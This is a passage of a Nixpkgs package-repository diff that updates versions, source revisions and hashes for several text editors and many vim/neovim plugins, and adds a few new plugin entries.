lua_modules_path = "lua" ''; - })).overrideAttrs (drv: { - version = attrs.version or drv.version; - rockspecVersion = drv.rockspecVersion; }); finalDrv = toVimPlugin (luaDrv.overrideAttrs(oa: attrs // { nativeBuildInputs = oa.nativeBuildInputs or [] ++ [ lua.pkgs.luarocksMoveDataFolder ]; + version = "${originalLuaDrv.version}-unstable-${oa.version}"; })); in finalDrv diff --git a/pkgs/applications/editors/notepad-next/default.nix b/pkgs/applications/editors/notepad-next/default.nix index 2f668a6fc526e..2b6502023c9aa 100644 --- a/pkgs/applications/editors/notepad-next/default.nix +++ b/pkgs/applications/editors/notepad-next/default.nix @@ -2,13 +2,13 @@ mkDerivation rec { pname = "notepad-next"; - version = "0.6.4"; + version = "0.7"; src = fetchFromGitHub { owner = "dail8859"; repo = "NotepadNext"; rev = "v${version}"; - sha256 = "sha256-m8+kM9uz3gJ3kvpgZdoonSvYlh/f1WiGZlB8JKMTXh4="; + sha256 = "sha256-I2bS8oT/TGf6fuXpTwOKo2MaUo0jLFIU/DfW9h1toOk="; # External dependencies - https://github.com/dail8859/NotepadNext/issues/135 fetchSubmodules = true; }; diff --git a/pkgs/applications/editors/orbiton/default.nix b/pkgs/applications/editors/orbiton/default.nix index 266e6cf3b3aa9..1e64c5950798a 100644 --- a/pkgs/applications/editors/orbiton/default.nix +++ b/pkgs/applications/editors/orbiton/default.nix @@ -4,13 +4,13 @@ buildGoModule rec { pname = "orbiton"; - version = "2.65.8"; + version = "2.65.11"; src = fetchFromGitHub { owner = "xyproto"; repo = "orbiton"; rev = "v${version}"; - hash = "sha256-1g2D79yUHeFz9jpmz1N5qDmpe1DA8xV82t78ZUVOhBE="; + hash = "sha256-eb7Ku1hgvYdmRgemXcEZMl53oNXYcomh4wYHpRzLTUc="; }; vendorHash = null; @@ -41,7 +41,7 @@ buildGoModule rec { meta = with lib; { description = "Config-free text editor and IDE limited to VT100"; - homepage = "https://github.com/xyproto/orbiton"; + homepage = "https://orbiton.zip"; license = licenses.bsd3; maintainers = with maintainers; [ sikmir ]; mainProgram = "o"; diff --git a/pkgs/applications/editors/rednotebook/default.nix b/pkgs/applications/editors/rednotebook/default.nix index 24126bf877014..d4657208004a6 100644 --- a/pkgs/applications/editors/rednotebook/default.nix +++ b/pkgs/applications/editors/rednotebook/default.nix @@ -5,13 +5,13 @@ buildPythonApplication rec { pname = "rednotebook"; - version = "2.31"; + version = "2.32"; src = fetchFromGitHub { owner = "jendrikseipp"; repo = "rednotebook"; rev = "refs/tags/v${version}"; - sha256 = "sha256-TggbHXJqgQ4vFSCLncgzrqJLRT9zQs6YsTQ3/Z4Mixg="; + sha256 = "sha256-sYgiJ4Sc/5Ns3DSlwT03gt54UdzdcvMx1+c27amhulQ="; }; # We have not packaged tests. diff --git a/pkgs/applications/editors/rehex/default.nix b/pkgs/applications/editors/rehex/default.nix index bc2bc733c6c03..617ae79c68493 100644 --- a/pkgs/applications/editors/rehex/default.nix +++ b/pkgs/applications/editors/rehex/default.nix @@ -5,6 +5,7 @@ , which , zip , libicns +, botan2 , capstone , jansson , libunistring @@ -19,19 +20,19 @@ stdenv.mkDerivation rec { pname = "rehex"; - version = "0.60.1"; + version = "0.61.0"; src = fetchFromGitHub { owner = "solemnwarning"; repo = pname; rev = version; - hash = "sha256-oF8XtxKqyo6c2lNH6WDq6aEPeZw8RqBinDVhPpaDAWg="; + hash = "sha256-NBBBeTy15q6G30XR2PVd/xdIg41U2pWSPtqpdQX/+9o="; }; nativeBuildInputs = [ pkg-config which zip ] ++ lib.optionals stdenv.isDarwin [ libicns ]; - buildInputs = [ capstone jansson libunistring wxGTK32 ] + buildInputs = [ botan2 capstone jansson libunistring wxGTK32 ] ++ (with lua53Packages; [ lua busted ]) ++ (with perlPackages; [ perl TemplateToolkit ]) ++ lib.optionals stdenv.isLinux [ gtk3 ] diff --git a/pkgs/applications/editors/texstudio/default.nix b/pkgs/applications/editors/texstudio/default.nix index 4c514f3396dc0..d084dd7c3f4c0 100644 --- a/pkgs/applications/editors/texstudio/default.nix +++ b/pkgs/applications/editors/texstudio/default.nix @@ -5,13 +5,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "texstudio"; - version = "4.7.2"; + version = "4.7.3"; src = fetchFromGitHub { owner = "texstudio-org"; repo = "texstudio"; rev = finalAttrs.version; - hash = "sha256-Q4/aoLIxFssti3Dto1JwRRAQ+D3DHlH9JgDrHBVKg4M="; + hash = "sha256-hAuNjlFr23l5ztfoa2RTHKZtH2aXF1EuWTd/ZyKuyHg="; }; nativeBuildInputs = [ @@ -46,7 +46,7 @@ stdenv.mkDerivation (finalAttrs: { spell checking and support of any compilation chain. ''; homepage = "https://texstudio.org"; - changelog = "https://github.com/texstudio-org/texstudio/blob/${version}/utilities/manual/CHANGELOG.txt"; + changelog = "https://github.com/texstudio-org/texstudio/blob/${finalAttrs.version}/utilities/manual/CHANGELOG.txt"; license = licenses.gpl2Plus; platforms = platforms.unix; maintainers = with maintainers; [ ajs124 cfouche ]; diff --git a/pkgs/applications/editors/typora/default.nix b/pkgs/applications/editors/typora/default.nix index 08e3d7c78fedd..2a4134ee3f00c 100644 --- a/pkgs/applications/editors/typora/default.nix +++ b/pkgs/applications/editors/typora/default.nix @@ -22,10 +22,10 @@ let pname = "typora"; - version = "1.8.9"; + version = "1.8.10"; src = fetchurl { url = "https://download.typora.io/linux/typora_${version}_amd64.deb"; - hash = "sha256-1FAVY9NSvpZOCZJmNadx5ZlqfaCc2N3D+T/08F4TOzY="; + hash = "sha256-5ZLSzDUcF0OZUuWVX/iG+4ccTlCPdYxy7zl0wDHlxNQ="; }; typoraBase = stdenv.mkDerivation { diff --git a/pkgs/applications/editors/vim/common.nix b/pkgs/applications/editors/vim/common.nix index 9ebe4d7acd492..5aab7711cf3ee 100644 --- a/pkgs/applications/editors/vim/common.nix +++ b/pkgs/applications/editors/vim/common.nix @@ -1,6 +1,6 @@ { lib, fetchFromGitHub }: rec { - version = "9.1.0004"; + version = "9.1.0075"; outputs = [ "out" "xxd" ]; @@ -8,7 +8,7 @@ rec { owner = "vim"; repo = "vim"; rev = "v${version}"; - hash = "sha256-Y5ZSJLEFdptEMA0xvstr6H1G4iiaYXpkJGSSFwoTfc0="; + hash = "sha256-rirPSh0rFg25JHl4idADLz6fIRmEALzp2Oa7De6uuGU="; }; enableParallelBuilding = true; diff --git a/pkgs/applications/editors/vim/plugins/deprecated.json b/pkgs/applications/editors/vim/plugins/deprecated.json index 6af384ac78fd6..6566a2808b704 100644 --- a/pkgs/applications/editors/vim/plugins/deprecated.json +++ b/pkgs/applications/editors/vim/plugins/deprecated.json @@ -23,6 +23,10 @@ "date": "2023-08-19", "new": "nvchad-ui" }, + "nvim-base16": { + "date": "2024-02-15", + "new": "base16-nvim" + }, "nvim-bufferline-lua": { "date": "2021-08-22", "new": "bufferline-nvim" diff --git a/pkgs/applications/editors/vim/plugins/generated.nix b/pkgs/applications/editors/vim/plugins/generated.nix index 32e4d167625a4..14b112558b4a2 100644 --- a/pkgs/applications/editors/vim/plugins/generated.nix +++ b/pkgs/applications/editors/vim/plugins/generated.nix @@ -29,12 +29,12 @@ final: prev: ChatGPT-nvim = buildVimPlugin { pname = "ChatGPT.nvim"; - version = "2024-01-19"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "jackMort"; repo = "ChatGPT.nvim"; - rev = "5e8f9004ee88d6c02fe428031d3b598d5dfc7cf2"; - sha256 = "126m8cwasm4c6rhc8gnslqh2q08fn6gsw2sk57jdiflrsvhl9vzc"; + rev = "dc6f76efcf8db15d21c9554d5da2211990ba4099"; + sha256 = "13hm0q0yk7rhhb5gvn2kn5l7hixkx2v2kl3fjl07p7r9iia0rjy8"; }; meta.homepage = "https://github.com/jackMort/ChatGPT.nvim/"; }; @@ -65,12 +65,12 @@ final: prev: Coqtail = buildVimPlugin { pname = "Coqtail"; - version = "2023-10-27"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "whonore"; repo = "Coqtail"; - rev = "ecca5017b6b27e1bded009f9725186d941d85b53"; - sha256 = "01dc9rih8f3hxvj5mi8ahdh7gf1hgb2zrks3wb8im4f4lc6nkdjz"; + rev = "70fcabba2ecb776406bedc4b7c968ea7a876de85"; + sha256 = "1vdqygp8v0j0msyhvc7239fkfvb1m71b3m0fpan9ay2h4x9q0q6i"; }; meta.homepage = "https://github.com/whonore/Coqtail/"; }; @@ -173,24 +173,24 @@ final: prev: LazyVim = buildVimPlugin { pname = "LazyVim"; - version = "2024-01-23"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "LazyVim"; repo = "LazyVim"; - rev = "a50f92f7550fb6e9f21c0852e6cb190e6fcd50f5"; - sha256 = "01ag75gdn6yfifv5rgk8j72dly511alilqy7z97s7m3fm1zp73mv"; + rev = "91126b9896bebcea9a21bce43be4e613e7607164"; + sha256 = "0cp56d4vy8mwdf3gl64cnw25fizqw0p1nfwnn470b3mwk9851i7g"; }; meta.homepage = "https://github.com/LazyVim/LazyVim/"; }; LeaderF = buildVimPlugin { pname = "LeaderF"; - version = "2024-01-19"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "Yggdroot"; repo = "LeaderF"; - rev = "43e6c0467ef73107f9f6f02ac967dbc359a8d438"; - sha256 = "1p1a9ppsw5f27qsqmr8wvnbamag8w9xbh4dmpwrfk96ap7flndjz"; + rev = "f166222d21995f23417df604b3d500636d63d99a"; + sha256 = "1zj19xz50xdvqlb8li45mdv1s7irxisckijx2r6xl79ykdm998jb"; }; meta.homepage = "https://github.com/Yggdroot/LeaderF/"; }; @@ -305,12 +305,12 @@ final: prev: SchemaStore-nvim = buildVimPlugin { pname = "SchemaStore.nvim"; - version = "2024-01-24"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "b0o"; repo = "SchemaStore.nvim"; - rev = "0550c6d5754dd2a183efc9c238f5524b68860e21"; - sha256 = "1hd1qnkjbl38k9ivzqxf3j74yyh1gd56r5nz7nmzf8b5yyjkc0ws"; + rev = "f3a32e89db213900a7dae31f2243c2a41e8b16c9"; + sha256 = "0zwvjqdk2a7w0r6msnnagqnx506163b0xy6qz0saaksfmi2zmws2"; }; meta.homepage = "https://github.com/b0o/SchemaStore.nvim/"; }; @@ -377,12 +377,12 @@ final: prev: SpaceVim = buildVimPlugin { pname = "SpaceVim"; - version = "2023-09-23"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "SpaceVim"; repo = "SpaceVim"; - rev = "f7151f55a9e9b96e332d7cc1e0febdcae6198356"; - sha256 = "155d7b0vgqcsdayry8gz7sz2l3wlabh1pp6jksanjbfcq3gydvxn"; + rev = "f393801c5f82a1cdc96fcd70ba9ae6d17eecedee"; + sha256 = "1yvkgzb786v35h6pw6shw61zibg50npw59f0qyq0f0w7afccschc"; }; meta.homepage = "https://github.com/SpaceVim/SpaceVim/"; }; @@ -449,12 +449,12 @@ final: prev: YouCompleteMe = buildVimPlugin { pname = "YouCompleteMe"; - version = "2024-01-14"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "ycm-core"; repo = "YouCompleteMe"; - rev = "2b33bf3dc822f6c68b39d235e24efa5508cf9857"; - sha256 = "1myd0ihxzk9jv8hqn7bfqh26cai9xlfnpwp89i62aqhgl3v0b361"; + rev = "c3c03323c4e4bd84b8fc6173a6c95bbd6c922b11"; + sha256 = "1977s7082pvml4yi6km3i0k81n5vp0ym25ybxgl28ym66xrxcl28"; fetchSubmodules = true; }; meta.homepage = "https://github.com/ycm-core/YouCompleteMe/"; @@ -498,12 +498,12 @@ final: prev: actions-preview-nvim = buildVimPlugin { pname = "actions-preview.nvim"; - version = "2024-01-07"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "aznhe21"; repo = "actions-preview.nvim"; - rev = "dd63df1a4ed0ffe1458945ee50ecb1dd02b605ab"; - sha256 = "0rsg7qvy45hhrzsf0xsdkr8ac9d3w2b0wqdbzzkfispkxpbsqyl9"; + rev = "5c240e6356156b72cfbf7c05feefadae61d7a06f"; + sha256 = "11p2393x80mym11nz3p1v3sz88y04sy8rknvfv5spd1gxcm7172w"; }; meta.homepage = "https://github.com/aznhe21/actions-preview.nvim/"; }; @@ -522,12 +522,12 @@ final: prev: aerial-nvim = buildVimPlugin { pname = "aerial.nvim"; - version = "2024-01-21"; + version = "2024-02-05"; src = fetchFromGitHub { owner = "stevearc"; repo = "aerial.nvim"; - rev = "e9661d4f739508377f42528fd08a85c4c8feba6e"; - sha256 = "1pskj1vqrcxy4y7rvmb27d6810zcmklrff5163gav26rcgppn6x7"; + rev = "3748e87a316a68754341cdffcef44fee61dee51c"; + sha256 = "0d7623dibwrp7nzl512laznai478rw8vz2jxlmbihs5gccnxnvp7"; fetchSubmodules = true; }; meta.homepage = "https://github.com/stevearc/aerial.nvim/"; @@ -583,12 +583,12 @@ final: prev: ale = buildVimPlugin { pname = "ale"; - version = "2024-01-14"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "dense-analysis"; repo = "ale"; - rev = "8922478a83cd06bfe5b82eb45279649adc4ec046"; - sha256 = "1s9cy0s08hgjb1n05gbl8am2s4wvxblpa1sfiwadwyqf163bd16j"; + rev = "24a937e04f3c59add32d8bd8533e02ab93268772"; + sha256 = "0z5nbdarhxnw7qp0j1hk98my7ks5vm0llgm1i2jrq2y52x0lp2xh"; }; meta.homepage = "https://github.com/dense-analysis/ale/"; }; @@ -607,16 +607,28 @@ final: prev: alpha-nvim = buildVimPlugin { pname = "alpha-nvim"; - version = "2024-01-17"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "goolord"; repo = "alpha-nvim"; - rev = "4b36c1ca9ea475bdc006896657cf1ccc486aeffa"; - sha256 = "01s5kp4zxfs18i7r9hvrjakihk6wz191zrkniq4vhsns32mmjgk3"; + rev = "41283fb402713fc8b327e60907f74e46166f4cfd"; + sha256 = "1a3spwcypcrjv9md58h4vxh4bjfz25fc1lkpp0zypmnykwllydci"; }; meta.homepage = "https://github.com/goolord/alpha-nvim/"; }; + animation-nvim = buildVimPlugin { + pname = "animation.nvim"; + version = "2022-09-18"; + src = fetchFromGitHub { + owner = "anuvyklack"; + repo = "animation.nvim"; + rev = "fb77091ab72ec9971aee0562e7081182527aaa6a"; + sha256 = "0yaxp3l33af1k6na0jikwmr0nxk862ihpq8r0042mll1ily7689b"; + }; + meta.homepage = "https://github.com/anuvyklack/animation.nvim/"; + }; + aniseed = buildVimPlugin { pname = "aniseed"; version = "2023-07-06"; @@ -677,6 +689,18 @@ final: prev: meta.homepage = "https://github.com/vim-scripts/argtextobj.vim/"; }; + astrotheme = buildVimPlugin { + pname = "astrotheme"; + version = "2024-02-29"; + src = fetchFromGitHub { + owner = "AstroNvim"; + repo = "astrotheme"; + rev = "903e2cb5d673e35803a6b160e68c1ca4b1c79109"; + sha256 = "1i917mkvdb6zvf90z2iwnl4lyk5vhdqzmgrrbq15447kcjd1z956"; + }; + meta.homepage = "https://github.com/AstroNvim/astrotheme/"; + }; + async-vim = buildVimPlugin { pname = "async.vim"; version = "2022-04-04"; @@ -775,12 +799,12 @@ final: prev: asyncrun-vim = buildVimPlugin { pname = "asyncrun.vim"; - version = "2023-09-26"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "skywind3000"; repo = "asyncrun.vim"; - rev = "61cc3081963a12048e00e89f8cedc8bd1cb83b8c"; - sha256 = "1l86kk0ha6yw3i285xaizzrgxvnxf95q0ys44glz8mns1z2jq4zk"; + rev = "915e36a2ed84b73741e13d2df3edc8e01ca56f5b"; + sha256 = "0rw3wnxsk9gx4kvw2x5h1pbmpls7fvlim3ihlhw37zf2irsfph5w"; }; meta.homepage = "https://github.com/skywind3000/asyncrun.vim/"; }; @@ -871,28 +895,40 @@ final: prev: auto-session = buildVimPlugin { pname = "auto-session"; - version = "2023-12-05"; + version = "2024-02-03"; src = fetchFromGitHub { owner = "rmagatti"; repo = "auto-session"; - rev = "51196ca66b38fc1660fdf50031cb0b31a199b7c9"; - sha256 = "1k0vgnn7anx6s6avbx17gyy749960ap1nds23qnsmp0pfz9x5scw"; + rev = "29a8c77a0579636d5520aebd38bdbc2e6079f2f5"; + sha256 = "0pzbj840xwzgj08zlbs79kfr8p5pfaqmcwmvqvngciaawz5mxwrc"; }; meta.homepage = "https://github.com/rmagatti/auto-session/"; }; autoclose-nvim = buildVimPlugin { pname = "autoclose.nvim"; - version = "2023-09-16"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "m4xshen"; repo = "autoclose.nvim"; - rev = "37e11589aac55b0e8810dc5865f898f9cb36fef6"; - sha256 = "15l5c9r8wa2i7amdl3b88gj9qhw81wxicm4zglvzcl1yb9ga0pwd"; + rev = "dc42806540dcf448ecb2bad6b67204410cfbe629"; + sha256 = "03l4az5xccx941sbw2qx7s8aziydiad2pc75jki1mlbgs7sdbhwi"; }; meta.homepage = "https://github.com/m4xshen/autoclose.nvim/"; }; + autolist-nvim = buildVimPlugin { + pname = "autolist.nvim"; + version = "2023-07-07"; + src = fetchFromGitHub { + owner = "gaoDean"; + repo = "autolist.nvim"; + rev = "5f70a5f99e96c8fe3069de042abd2a8ed2deb855"; + sha256 = "0vdr9mf761qc2rp9xc8ypgdis68khblkwn7c1kc6cxk265nw7awm"; + }; + meta.homepage = "https://github.com/gaoDean/autolist.nvim/"; + }; + autoload_cscope-vim = buildVimPlugin { pname = "autoload_cscope.vim"; version = "2011-01-28"; @@ -929,6 +965,18 @@ final: prev: meta.homepage = "https://github.com/rafi/awesome-vim-colorschemes/"; }; + aylin-vim = buildVimPlugin { + pname = "aylin.vim"; + version = "2022-08-13"; + src = fetchFromGitHub { + owner = "AhmedAbdulrahman"; + repo = "aylin.vim"; + rev = "d9532f02f5ea8f396fc62c50bb34c348b4a9aa02"; + sha256 = "1fqi0y49ac7ix39l8c27j7zysl4g9sm0akkmhpbznccc74kb6r7w"; + }; + meta.homepage = "https://github.com/AhmedAbdulrahman/aylin.vim/"; + }; + ayu-vim = buildVimPlugin { pname = "ayu-vim"; version = "2020-05-29"; @@ -953,14 +1001,38 @@ final: prev: meta.homepage = "https://github.com/taybart/b64.nvim/"; }; + baleia-nvim = buildVimPlugin { + pname = "baleia.nvim"; + version = "2024-01-06"; + src = fetchFromGitHub { + owner = "m00qek"; + repo = "baleia.nvim"; + rev = "6d9cbdaca3a428bc7296f838fdfce3ad01ee7495"; + sha256 = "sha256-0NmiGzMFvL1awYOVtiaSd+O4sAR524x68xwWLgArlqs="; + }; + meta.homepage = "https://github.com/m00qek/baleia.nvim/"; + }; + + bamboo-nvim = buildVimPlugin { + pname = "bamboo.nvim"; + version = "2024-02-13"; + src = fetchFromGitHub { + owner = "ribru17"; + repo = "bamboo.nvim"; + rev = "2c5a7442f8db3dcc3f5175f0bed73675e26e3931"; + sha256 = "0ana0pad4lcqg6mcava4mvvi0c9bwkcgfql1xgmcxmz1svgrqkqg"; + }; + meta.homepage = "https://github.com/ribru17/bamboo.nvim/"; + }; + barbar-nvim = buildVimPlugin { pname = "barbar.nvim"; - version = "2023-12-18"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "romgrk"; repo = "barbar.nvim"; - rev = "4ba9ac54f0c5d82131905160afff94172e3325e6"; - sha256 = "0cfhcwb8w4h63dj3r1zi7ikqjs78isgvy2lgqw35k8camw4jlqkr"; + rev = "1d6b1386abe97d1d8cba47eb9afa8a9f2d1bbe66"; + sha256 = "1cwyghc81fsqbmfqq0gs2y38x5dddlz9asfcjhc1diyf2x78wycv"; }; meta.homepage = "https://github.com/romgrk/barbar.nvim/"; }; @@ -977,6 +1049,18 @@ final: prev: meta.homepage = "https://github.com/utilyre/barbecue.nvim/"; }; + base16-nvim = buildVimPlugin { + pname = "base16-nvim"; + version = "2024-02-17"; + src = fetchFromGitHub { + owner = "RRethy"; + repo = "base16-nvim"; + rev = "b3e9ec6a82c05b562cd71f40fe8964438a9ba64a"; + sha256 = "1qb8g6q8vwq99030nqw719xgrizbqcnmj4n25fqakjq8pbclwh4p"; + }; + meta.homepage = "https://github.com/RRethy/base16-nvim/"; + }; + base16-vim = buildVimPlugin { pname = "base16-vim"; version = "2022-09-20"; @@ -991,12 +1075,12 @@ final: prev: base46 = buildVimPlugin { pname = "base46"; - version = "2023-10-29"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "nvchad"; repo = "base46"; - rev = "3f2b658cbd6650ddaf2bae3233e143a41ca25b1a"; - sha256 = "04xnnyinr93jriqg5yhwrwbf0q0zbb2ad1wrnl08sbi8fzl7a7a9"; + rev = "36a44bf1c712a42b46479540ee89e296c6c63cdc"; + sha256 = "0j7zgyg1f17b7lzlgq39hmcvzshh1saav7f2jn87kb46jvng7nva"; }; meta.homepage = "https://github.com/nvchad/base46/"; }; @@ -1097,6 +1181,30 @@ final: prev: meta.homepage = "https://github.com/blueballs-theme/blueballs-neovim/"; }; + bluloco-nvim = buildVimPlugin { + pname = "bluloco.nvim"; + version = "2024-02-13"; + src = fetchFromGitHub { + owner = "uloco"; + repo = "bluloco.nvim"; + rev = "c585fa3b1b892453b1f68df4c52b4f684a7ed7fe"; + sha256 = "17q3dwkhdx74xrxzl3069ia4fl0fj2n8k57s56k59v7f1v1l753i"; + }; + meta.homepage = "https://github.com/uloco/bluloco.nvim/"; + }; + + boo-colorscheme-nvim = buildVimPlugin { + pname = "boo-colorscheme-nvim"; + version = "2023-12-26"; + src = fetchFromGitHub { + owner = "rockerBOO"; + repo = "boo-colorscheme-nvim"; + rev = "f329950b54d2a9462dd8169bb9cf0adbddef70b4"; + sha256 = "0939nxp2g0d6nzfhk0r5bvn4g3bs5bg8pjnc4z1f1qsnpvk6vyml"; + }; + meta.homepage = "https://github.com/rockerBOO/boo-colorscheme-nvim/"; + }; + boole-nvim = buildVimPlugin { pname = "boole.nvim"; version = "2023-07-08"; @@ -1135,12 +1243,12 @@ final: prev: bufdelete-nvim = buildVimPlugin { pname = "bufdelete.nvim"; - version = "2023-12-24"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "famiu"; repo = "bufdelete.nvim"; - rev = "0b9c0f182b09c51170bb9f252f15de7695e4d507"; - sha256 = "07442wjgf5nx99qaqzi1gyhxlcp8pxlc15vg9jckf9wl3s3m2hiv"; + rev = "f6bcea78afb3060b198125256f897040538bcb81"; + sha256 = "0xfzk3zgnxbwnr55n3lglsb8nmhnchpiqz9d152xr6j8d9z0sdcn"; }; meta.homepage = "https://github.com/famiu/bufdelete.nvim/"; }; @@ -1171,12 +1279,12 @@ final: prev: bufferline-nvim = buildVimPlugin { pname = "bufferline.nvim"; - version = "2024-01-25"; + version = "2024-01-29"; src = fetchFromGitHub { owner = "akinsho"; repo = "bufferline.nvim"; - rev = "d6cb9b7cac52887bcac65f8698e67479553c0748"; - sha256 = "05j37sch4m8cxdjg7fyzmawr21mp2ipqlw3ar4adk8as698b68gy"; + rev = "b15c6daf5a64426c69732b31a951f4e438cb6590"; + sha256 = "09yj7gkk4ba50cdfmnn56g5hrbh4hk9934mj3xm08nbqhh4jir1k"; }; meta.homepage = "https://github.com/akinsho/bufferline.nvim/"; }; @@ -1195,14 +1303,14 @@ final: prev: bullets-vim = buildVimPlugin { pname = "bullets.vim"; - version = "2022-10-10"; + version = "2024-01-31"; src = fetchFromGitHub { - owner = "dkarter"; + owner = "bullets-vim"; repo = "bullets.vim"; - rev = "746f92ae05cdcc988857d8e76418326f07af9494"; - sha256 = "0zdfri31h1iv3jjw2yqkqqfd07cdk7ymyrl5n03khwh192dawd5r"; + rev = "d9a47f114031d3030b1e4de3c0b6a664b1201524"; + sha256 = "0ypf8ggvl1q5kgrzanr20n6bllfl547hk50aq0jmw0mprhi5npds"; }; - meta.homepage = "https://github.com/dkarter/bullets.vim/"; + meta.homepage = "https://github.com/bullets-vim/bullets.vim/"; }; calendar-vim = buildVimPlugin { @@ -1243,24 +1351,24 @@ final: prev: ccc-nvim = buildVimPlugin { pname = "ccc.nvim"; - version = "2023-12-16"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "uga-rosa"; repo = "ccc.nvim"; - rev = "ec6e23fd2c0bf4ffcf71c1271acdcee6e2c6f49c"; - sha256 = "1y3ns91ysx684ryxv1zjaw8ghrm2ry4rswhm87im4rwghnwvnrwx"; + rev = "fb740df82b25aaab3988cdaf9d9e908eba1a0111"; + sha256 = "06jya7svz3q0vcwgmj8xqjvhix92q9d40iwybm0qqlv69k09lqwc"; }; meta.homepage = "https://github.com/uga-rosa/ccc.nvim/"; }; chadtree = buildVimPlugin { pname = "chadtree"; - version = "2024-01-25"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "ms-jpq"; repo = "chadtree"; - rev = "713d374382398df12816b3aa8de5462e29266d8a"; - sha256 = "1zi4v1fsayvcxsvbb60r7lj5zpsbhcysy2n6l9610xn0zmwmcnxq"; + rev = "b2e5c4a744cae86f3103157c6834043d189829fe"; + sha256 = "1p54rnyicimi2slhz47s16m6c2khy5bda0f19k5i5kwib042g0dh"; }; meta.homepage = "https://github.com/ms-jpq/chadtree/"; }; @@ -1313,6 +1421,18 @@ final: prev: meta.homepage = "https://github.com/projekt0n/circles.nvim/"; }; + citruszest-nvim = buildVimPlugin { + pname = "citruszest.nvim"; + version = "2024-02-13"; + src = fetchFromGitHub { + owner = "zootedb0t"; + repo = "citruszest.nvim"; + rev = "60e6cec400cd857ffd69d582794c3ce5571c0049"; + sha256 = "0mbs4v35v6xwi44dh8isgp66n6x10q6jkvj3ygvpqanwff6bp89s"; + }; + meta.homepage = "https://github.com/zootedb0t/citruszest.nvim/"; + }; + clang_complete = buildVimPlugin { pname = "clang_complete"; version = "2023-11-05"; @@ -1411,12 +1531,12 @@ final: prev: cmp-async-path = buildVimPlugin { pname = "cmp-async-path"; - version = "2023-01-16"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "FelipeLema"; repo = "cmp-async-path"; - rev = "d8229a93d7b71f22c66ca35ac9e6c6cd850ec61d"; - sha256 = "18z548v4ypby32jydq439zdi6gv7zybp8gk957iai22cnxaj403n"; + rev = "9d581eec5acf812316913565c135b0d1ee2c9a71"; + sha256 = "0dv00zsgyjqk98cnxkmc4hjqgsm5mhjg4q2j7xkwz17kq59fiv26"; }; meta.homepage = "https://github.com/FelipeLema/cmp-async-path/"; }; @@ -1543,12 +1663,12 @@ final: prev: cmp-dictionary = buildVimPlugin { pname = "cmp-dictionary"; - version = "2024-01-24"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "uga-rosa"; repo = "cmp-dictionary"; - rev = "472d0087035762f3c81af63433df15c8dd85601b"; - sha256 = "03i5gb18w93fb7by1djj7b3sqfsdb2rlqlnj5dcl0r8qb4wa8nrc"; + rev = "afa18f35a818af7bcb65b05c183a6777ede6c0ad"; + sha256 = "1nz0ywakqvvscrvdzk86w8f29s8mrcyln2jqgh24kvic5zwb66xj"; }; meta.homepage = "https://github.com/uga-rosa/cmp-dictionary/"; }; @@ -1867,12 +1987,12 @@ final: prev: cmp-tmux = buildVimPlugin { pname = "cmp-tmux"; - version = "2023-09-02"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "andersevenrud"; repo = "cmp-tmux"; - rev = "97ec06b8030b8bf6d1fd83d49bdd16c98e04c845"; - sha256 = "0a9yryb1hwmkv3gmahx3barclllgbqhfp7q00i5zrc69ql0i63vf"; + rev = "95b1b921802e6f60627b3e76afb9380fddd87f9a"; + sha256 = "1szbvn394fqbqvwmywmzr38kqg44xhnv1fzjxbsakzx0wclc2yf4"; }; meta.homepage = "https://github.com/andersevenrud/cmp-tmux/"; }; @@ -1961,6 +2081,18 @@ final: prev: meta.homepage = "https://github.com/saadparwaiz1/cmp_luasnip/"; }; + cobalt2-nvim = buildVimPlugin { + pname = "cobalt2.nvim"; + version = "2024-01-13"; + src = fetchFromGitHub { + owner = "lalitmee"; + repo = "cobalt2.nvim"; + rev = "89c4212da7f2a6ce7570ca1b8ed01a95e30585c2"; + sha256 = "00fdqj61av1awq2m3qjkd3znpnc5ywi6abnvyh8xcbs9sbp4iid8"; + }; + meta.homepage = "https://github.com/lalitmee/cobalt2.nvim/"; + }; + coc-clap = buildVimPlugin { pname = "coc-clap"; version = "2021-09-18"; @@ -2047,12 +2179,12 @@ final: prev: coc-nvim = buildVimPlugin { pname = "coc.nvim"; - version = "2023-09-30"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "neoclide"; repo = "coc.nvim"; - rev = "7b9e1ef0a1399907c51d23b6080b94a5aba4a654"; - sha256 = "10gdqqz71gbna9wy3awbncbn7m0g6wfn1256bx7ga8b3bsl3nmch"; + rev = "0ce9a96b95e5d88181b0bed26f40922d1bf65b90"; + sha256 = "1b227bqjy196srr0djkrjhil2y74vvcrz2qkg04fy2i5h87rd2ip"; }; meta.homepage = "https://github.com/neoclide/coc.nvim/"; }; @@ -2071,24 +2203,24 @@ final: prev: codeium-nvim = buildVimPlugin { pname = "codeium.nvim"; - version = "2023-12-26"; + version = "2024-02-14"; src = fetchFromGitHub { owner = "Exafunction"; repo = "codeium.nvim"; - rev = "f871000e91faa9ed334da2bfa4eadbf54d0e1047"; - sha256 = "11qjv6g2abb67sfql0i2lbrak9d1xs15x73llw1fglcmbn7wswrf"; + rev = "cd5913ff5481229b15186293d1d46dd9500789f9"; + sha256 = "1lsf60aaxzc0w0sgvb8pghrx6hwfh57jx9xaj6g7rhbpxw9l05cx"; }; meta.homepage = "https://github.com/Exafunction/codeium.nvim/"; }; codeium-vim = buildVimPlugin { pname = "codeium.vim"; - version = "2024-01-18"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "Exafunction"; repo = "codeium.vim"; - rev = "a1c3d6b369a18514d656dac149de807becacbdf7"; - sha256 = 